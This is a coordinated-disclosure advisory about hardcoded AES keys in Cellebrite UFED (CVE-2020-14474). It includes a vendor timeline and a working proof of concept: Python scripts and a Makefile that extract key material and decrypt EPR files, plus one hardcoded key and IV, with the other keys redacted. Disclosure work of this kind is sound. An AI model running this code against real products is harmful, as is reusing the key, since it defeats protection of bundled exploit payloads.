KL-001-2020-003 : Cellebrite EPR Decryption Relies on Hardcoded AES Key Material
Title: Cellebrite EPR Decryption Relies on Hardcoded AES Key Material
Advisory ID: KL-001-2020-003
Publication Date: 2020.06.29
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2020-003.txt
1. Vulnerability Details
Affected Vendor: Cellebrite
Affected Product: UFED
Affected Version: 5.0 - 7.5.0.845
Platform: Embedded Windows
CWE Classification: CWE-321: Hardcoded Use of Cryptography Keys
CVE ID: CVE-2020-14474
2. Vulnerability Description
The Cellebrite UFED Physical device relies on key material
hardcoded within both the executable code supporting the
decryption process and within the encrypted files themselves by
using a key enveloping technique. The recovered key material
is the same for every device running the same version of
the software and does not appear to be changed with each new
build. It is possible to reconstruct the decryption process
using the hardcoded key material and obtain easy access to
otherwise protected data.
3. Technical Description
A recursive listing of my standalone decryptor directory:
$ find .
.
./decrypt-epr
./input
./input/DLLs
./input/DLLs/731
./input/DLLs/731/FileUnpacking.dll
./input/EPRs
./input/EPRs/731
./input/EPRs/731/Android.zip.epr
./output
./output/EPRs
./output/EPRs/731
./extract-keys
./Makefile
(See the Proof of Concept section for relevant code snippets.)
First, we start by running the extract-keys script on the
relevant FileUnpacking.dll file. The provided Makefile will
automatically output the relevant key material to the same
directory where the DLL resides.
$ make keys
Extracting AES keys from input/DLLs/731/FileUnpacking.dll
64+0 records in
64+0 records out
64 bytes copied, 0.000186032 s, 344 kB/s
32+0 records in
32+0 records out
32 bytes copied, 0.000116104 s, 276 kB/s
636+0 records in
636+0 records out
636 bytes copied, 0.00140342 s, 453 kB/s
Finished
The extract-keys script contains a nested JSON-object and
iterates over the bytes of the file provided creating a SHA256
hash for each DWORD. The calculated hash is compared against
known matches and when found the script will automatically
extract the bytes relevant.
Now a selected EPR file may be decrypted. A good example is the
Android.zip.epr file, which contains a set of local privilege
escalation exploits.
$ ./decrypt-epr --verbose --file input/EPRs/731/Android.zip.epr
[+] The EPR file specified exists.
[+] The specified EPR file has been read into memory.
[-] Decrypter setup with key 1 for version 3
[+] Round one of the EPR decryption completed successfully.
[-] Calculated that the flag will be: [REDACTED]
[+] The SHA256 key flag has been calculated.
[-] Found the flag: [REDACTED]
[+] The SHA256 key flag has been found.
[-] Decrypter setup with key 2 for version 3
[+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.
[-] AES Key: [REDACTED], IV: [REDACTED]
[-] Decrypter setup with key 3 for version 3
[-] Finished decrypting all blocks.
[-] Writing bytes to: input/EPRs/731/Android.zip.epr.broken
[-] Wrote 2552640 bytes to a broken file.
[+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted.
[-] Running: zip -FF input/EPRs/731/Android.zip.epr.broken --out input/EPRs/731/Android.zip.epr.zip > /dev/null 2>&1
[-] Removing the broken file.
[+] Decrypted file available at output/EPRs/731/Android.zip.epr.zip
[+] done.
The decrypted file can then be unzipped.
$ unzip Android.zip.epr.zip
Archive: Android.zip.epr.zip
inflating: c2a_disable_selinux_32.ko
inflating: c2a_disable_selinux_64.ko
inflating: com.mr.meeseeks.apk
inflating: daemonize
inflating: dirtycow
inflating: dirtycow_32
inflating: DisableHuaweiLogging_2.1.5767a
inflating: django_2.1.5767a
inflating: EnableHuaweiLogging_2.1.5767a
inflating: EnableSharpRead_2.1.5767a
inflating: exploits_2.1.5769.csv
inflating: forensics
inflating: fourrunnerStatic_2.1.5767a
inflating: gb_2.1.5767a
inflating: nandd
inflating: nandread-pie-vold
inflating: nandread-pie_7182
inflating: nandread64-pie-vold
inflating: nandreadStatic_7182
inflating: patcher.exe
inflating: pingroot
inflating: pingroot_vultest
inflating: psneuter_2.1.5767a
inflating: RecoveryImageMap.csv
inflating: rootspotter.apk
inflating: rootspot_verify_env
inflating: rosecure_2.1.5767a
inflating: setuid_2.1.5767a
inflating: shellcode.bin
inflating: shellcode_32_iptables.bin
inflating: shellcode_32_oatdump.bin
inflating: zergRush_2.1.5767a
The encryption algorithm uses a software-only key enveloping
technique where part of the key material is stored within
executable code and part within a encrypted header inside of
the encrypted file. The encrypted header is extracted from
the encrypted file and decrypted using key material hardcoded
within executable code.
Some of the bytes decrypted then undergo a XOR operation to
calculate the last DWORD of a SHA256 hash. Separately, a set
of 254 bytes is iterated over using 64 bytes per iteration. A
complete SHA256 hash is generated for each set of 64-bytes
and the ending DWORD of this hash is then compared against
the calculated DWORD. If there is a match the bytes used to
calculate the DWORD are the next set of key material.
The decryption tool outputs the following match:
[-] Calculated that the flag will be: [REDACTED]
[+] The SHA256 key flag has been calculated.
[-] Found the flag: [REDACTED]
The last DWORD matches. In fact there are a total of eight
possible intermediate keys that can be chosen from based on the
bytes observed.
A third and final key exists within each encrypted file
header. This key is decrypted using the hardcoded intermediate
key used for encrypted the selected file. From here bytes 0x80
through the end of the file are decrypted in blocks of 0x10000.
4. Mitigation and Remediation Recommendation
The vendor has informed KoreLogic that this vulnerability is
not present on recent versions of the UFED devices. Cellebrite
stated, "While the method described in the reports does not
work on recent versions (we previously made multiple changes
that broke it), the core key material was exposed and will be
rotated effective immediately."
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2020.04.02 - KoreLogic submits vulnerability details to
Cellebrite.
2020.04.02 - Cellebrite acknowledges receipt and the intention
to investigate.
2020.05.13 - KoreLogic requests an update on the status of the
vulnerability report.
2020.05.14 - Cellebrite responds, notifying KoreLogic that the
technique is not applicable to newer UFED releases.
Requests time beyond the standard 45 business day
embargo to ensure all exposed keys have been changed.
2020.06.09 - 45 business days have elapsed since the report was
submitted to Cellebrite.
2020.06.12 - KoreLogic requests an update from Cellebrite.
2020.06.14 - Cellebrite reports that affected key material has
been retired.
2020.06.18 - CVE Requested.
2020.06.19 - MITRE issues CVE-2020-14474.
2020.06.29 - KoreLogic public disclosure.
7. Proof of Concept
File Name: Makefile
clean:
for filepath in `find input/DLLs -type f -name '*.keys' -o -name '*.aes' -o -name '*.iv' -o -name '*.map' -o
-name '*.zip'`; do \
rm -rf $$filepath ; \
done
keys:
@for filepath in `find input/DLLs -type f -name '*.dll'` ; do \
echo Extracting AES keys from $$filepath ; \
./extract-keys --file $$filepath > $$filepath.keys ; \
if [ -f "$$filepath" ] ; then \
dd bs=1 if=$$filepath.keys count=64 of=$$filepath.aes ; \
dd bs=1 if=$$filepath.keys count=32 skip=64 of=$$filepath.iv ; \
dd bs=1 if=$$filepath.keys skip=96 of=$$filepath.map ; \
else \
echo Could not find extract-keys output ; \
fi \
done ; \
echo Finished
Script Name: extract-keys
#!/usr/bin/python
from optparse import OptionParser
from os.path import exists, basename
from binascii import hexlify
from hashlib import sha256
from os import makedirs
keyMap = {
# UFED 5.1
"Dump_MotGSM.dll":{
"offsets":{
"aes":{
"key":"0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054", # Key and IV already
public information
"iv":"888c609edc9eb9dfb4d30dfebc9f0431" #
https://github.com/cellebrited/cellebrite
}
}
},
# UFED 7.3
"FileUnpacking.dll":[
{
"offsets":{
"aes":{
"keySize":32,
"keyHash":"[REDACTED]", # sha256 hash of first dword
"ivSize":16,
"ivHash":"[REDACTED]" # sha256 hash of first dword
},
"mapSize":256,
"mapHash":"[REDACTED]" # sha256 hash of first dword
}
}
]
}
if __name__ == "__main__":
parser = OptionParser()
parser.add_option("--file",dest="file",default='',help="Decryptor DLL")
o,a = parser.parse_args()
if (exists(o.file) != True):
print "[!] The specified file does not exist"
exit(1)
try:
with open(o.file,'rb') as fp:
fileData = fp.read()
print "[-] Read {} bytes.".format(len(fileData))
if (isinstance(keyMap[basename(o.file)], str)):
if ("Dump_MotGSM.dll" == basename(o.file)):
print keyMap[basename(o.file)]["offsets"]["aes"]["key"] + keyMap[basename(o.file)]["offsets"]["aes"]["iv"]
else:
foundKey, foundIV, foundMap = False, False, False
for i in xrange(0, len(keyMap[basename(o.file)])):
for pos in xrange(0,len(fileData)):
nextDWORD = hexlify(fileData[pos:pos+4])
if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["keyHash"] and not
foundKey):
foundKey = True
aesKey = hexlify(fileData[pos:pos+32])
print "[+] Found key at {}. Value: {}".format(hex(pos),aesKey)
if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["ivHash"] and not
foundIV):
foundIV = True
aesIV = hexlify(fileData[pos:pos+16])
print "[+] Found IV at {}. Value: {}".format(hex(pos),aesIV)
if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["mapHash"] and not foundMap):
foundMap = True
aesMap = hexlify(fileData[pos:pos+keyMap[basename(o.file)][i]["offsets"]["mapSize"]])
print "[+] Found map at {}. Value: {}".format(hex(pos),aesMap)
if (foundKey and foundIV and foundMap):
break
pos+=1
except Exception as e:
print "[!] Could not read the specified file. Reason: {}".format(e)
exit(0)
Script Name: decrypt-epr
#!/usr/bin/python
from logging.handlers import TimedRotatingFileHandler
from optparse import OptionParser
from os.path import exists, getsize, dirname, realpath
from os.path import join as path_join
from os import system, remove
from shutil import move
from Crypto.Cipher import AES
from binascii import unhexlify, hexlify
from hashlib import sha256
import sys
import logging
logging.basicConfig(
format="%(asctime)s [%(levelname)s] %(message)s",
level=logging.INFO,
handlers=[
TimedRotatingFileHandler(
path_join(
dirname(realpath(__file__)),
"logger.log",
),
interval=1,
),
logging.StreamHandler(sys.stdout),
],
)
logger = logging.getLogger(__name__)
bs = AES.block_size
pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
class EPR:
def __init__(self, file, version, verbose):
self.epr_v1_aes_key = "0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054" # Already public
information
self.epr_v1_aes_iv = "888c609edc9eb9dfb4d30dfebc9f0431" # Already public
information
self.epr_v2_aes_key = "[REDACTED]"
self.epr_v2_aes_iv = "[REDACTED]"
self.epr_v3_aes_key = self.epr_v2_aes_key
self.epr_v3_aes_iv = self.epr_v2_aes_iv
self.epr_v2_aes_map = "[REDACTED]"
self.epr_v3_aes_map = "[REDACTED]"
self.epr_v3_aes_iv_two = None
self.file = file or False
self.version = version
self.encrypted_file = None
self.encrypted_epr = None
self.encrypted_magic = None
self.decrypted_epr = None
self.final_epr = b''
self.logging = verbose
def file_exists(self):
if not self.file:
return False
return exists(self.file)
def can_read_file(self):
return getsize(self.file)
def read_entire_file(self):
try:
fp = open(self.file,'rb')
self.encrypted_file = fp.read()
fp.close()
except Exception as e:
logger.error("[!] Encountered an exception. Reason: {}".format(e))
return False
return True
def flat_decrypt(self):
self.encrypted_magic = self.encrypted_file[:21]
if (self.encrypted_magic[:-2] == "Cellebrite EPR File"):
self.encrypted_epr = self.encrypted_file[21:]
if self.version == 1:
crypter = AES.new(unhexlify(self.epr_v1_aes_key),AES.MODE_CBC,unhexlify(self.epr_v1_aes_iv))
if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version))
else:
crypter = AES.new(unhexlify(self.epr_v3_aes_key),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv))
if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version))
try:
self.decrypted_epr = crypter.decrypt(self.encrypted_epr)
if self.version == 2:
self.epr_v2_aes_iv_two = hexlify(self.decrypted_epr[32:48])
elif self.version == 3:
self.epr_v3_aes_iv_two = hexlify(self.decrypted_epr[32:48])
else:
pass
except Exception as e:
logger.error("[!] Encountered an exception. Reason: {}".format(e))
return False
return True
return False
def calc_sha256_dword(self):
try:
to_xor_a = hexlify(self.decrypted_epr[24:28])
to_xor_a = [to_xor_a[i:i+2] for i in range(0, len(to_xor_a), 2)]
to_xor_b = hexlify(self.decrypted_epr[28:32])
to_xor_b = [to_xor_b[i:i+2] for i in range(0, len(to_xor_b), 2)]
xored_1 = int(to_xor_a[-1],16) ^ int(to_xor_b[-1],16)
xored_1 = "{0:0{1}x}".format(xored_1,2)
xored_2 = int(to_xor_a[-2],16) ^ int(to_xor_b[-2],16)
xored_2 = "{0:0{1}x}".format(xored_2,2)
xored_3 = int(to_xor_a[-3],16) ^ int(to_xor_b[-3],16)
xored_3 = "{0:0{1}x}".format(xored_3,2)
xored_4 = int(to_xor_a[-4],16) ^ int(to_xor_b[-4],16)
xored_4 = "{0:0{1}x}".format(xored_4,2)
if (self.version == 2):
self.epr_v2_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v2_sha256_flag))
else:
self.epr_v3_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v3_sha256_flag))
except Exception as e:
logger.error("[!] Encountered an exception. Reason: {}".format(e))
return False
return True
def key_map_check(self):
found = False
if (self.version == 2):
for i in range(0, len(self.epr_v2_aes_map), 64):
hash = sha256(unhexlify(self.epr_v2_aes_map[i:i+64])).hexdigest()
if (hash.endswith(self.epr_v2_sha256_flag)):
if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v2_sha256_flag))
found = True
self.epr_v2_aes_key_two = self.epr_v2_aes_map[i:i+64]
else:
for i in range(0, len(self.epr_v3_aes_map), 64):
hash = sha256(unhexlify(self.epr_v3_aes_map[i:i+64])).hexdigest()
if (hash.endswith(self.epr_v3_sha256_flag)):
if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v3_sha256_flag))
found = True
self.epr_v3_aes_key_two = self.epr_v3_aes_map[i:i+64]
return found
def decrypt_key(self):
try:
if (self.version == 2):
crypter = AES.new(unhexlify(self.epr_v2_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_two))
if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version))
self.epr_v2_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
self.epr_v2_aes_iv_three = hexlify(self.decrypted_epr[112:128])
else:
crypter = AES.new(unhexlify(self.epr_v3_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_two))
if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version))
self.epr_v3_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
self.epr_v3_aes_iv_three = hexlify(self.decrypted_epr[112:128])
except Exception as e:
logger.error("[!] Encountered an exception. Reason: {}".format(e))
return False
return True
def decrypt_epr(self):
if (self.version == 2):
crypter = AES.new(unhexlify(self.epr_v2_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_three))
if self.logging: logger.info("[-] AES Key: {}, IV:
{}".format(self.epr_v2_aes_key_three,self.epr_v2_aes_iv_three))
else:
crypter = AES.new(unhexlify(self.epr_v3_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_three))
if self.logging: logger.info("[-] AES Key: {}, IV:
{}".format(self.epr_v3_aes_key_three,self.epr_v3_aes_iv_three))
if self.logging: logger.info("[-] Decrypter setup with key 3 for version {}".format(self.version))
self.encrypted_epr = self.encrypted_epr[128:]
for pos in range(0, len(self.encrypted_epr), 65536):
decryptPart = self.encrypted_epr[pos:pos+65536]
try:
self.final_epr+=crypter.decrypt(decryptPart)
except ValueError as e:
self.final_epr+=crypter.decrypt(pad(decryptPart))
if self.logging: logger.info("[-] Finished decrypting all blocks.")
try:
if self.logging: logger.info("[-] Writing bytes to: {}.broken".format(self.file))
fp = open("{}.broken".format(self.file),"wb")
fp.write(self.final_epr)
fp.close()
if self.logging: logger.info("[-] Wrote {} bytes to a broken file.".format(len(self.final_epr)))
except Exception as e:
logger.error("[!] Encountered an exception. Reason: {}".format(e))
return False
return True
def zip_FF(self):
if self.logging: logger.info("[-] Running: zip -FF {}.broken --out {}.zip > /dev/null
2>&1".format(self.file,self.file))
system("zip -FF {}.broken --out {}.zip > /dev/null 2>&1".format(self.file,self.file))
return True
def finish(self):
if self.logging: logger.info("[-] Removing the broken file.")
remove("{}.broken".format(self.file))
move("{}.zip".format(self.file),"{}.zip".format(self.file.replace("input","output")))
logger.info("[+] Decrypted file available at {}.zip".format(self.file.replace("input","output")))
return True
def main():
parser = OptionParser()
parser.add_option("--file",dest="file",default=False,help="EPR File Path")
parser.add_option("--version",dest="version",choices=(str(1),str(2),str(3)),default=str(3),help="EPR Version")
parser.add_option("--verbose",dest="verbose",action="store_true",help="Enable verbose mode")
o,a = parser.parse_args()
o.version = int(o.version)
epr = EPR(o.file,o.version,o.verbose)
if not epr.file_exists():
logger.info("[!] Unable to find the encrypted EPR file specified.")
return False
logger.info("[+] The EPR file specified exists.")
if not epr.can_read_file():
logger.info("[!] Unable to open a file object to the encrypted EPR file.")
return False
if not epr.read_entire_file():
logger.info("[!] Unable to read the encrypted EPR file.")
return False
logger.info("[+] The specified EPR file has been read into memory.")
logger.info("[+] Using the version {} decryption process.".format(o.version))
if not epr.flat_decrypt():
logger.info("[!] Unable to run the initial decryption round.")
return False
logger.info("[+] Round one of the EPR decryption completed successfully.")
if not epr.calc_sha256_dword():
logger.info("[!] Unable to calculate the SHA256 key flag.")
return False
if o.verbose: logger.info("[+] The SHA256 key flag has been calculated.")
if not epr.key_map_check():
logger.info("[!] Unable to find a AES key match.")
return False
if o.verbose: logger.info("[+] The SHA256 key flag has been found.")
if not epr.decrypt_key():
logger.info("[!] Could not decrypt the final AES key.")
return False
logger.info("[+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.")
if not epr.decrypt_epr():
logger.info("[!] Unable to decrypt the EPR file.")
return False
logger.info("[+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been
decrypted.")
if not epr.zip_FF():
logger.info("[!] Could not clean up garbage.")
return False
return True
if __name__ == "__main__":
success = main()
if success:
logger.info("[+] done")
else:
logger.info("[!] failed")
exit(success)
The contents of this advisory are copyright(c) 2020
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt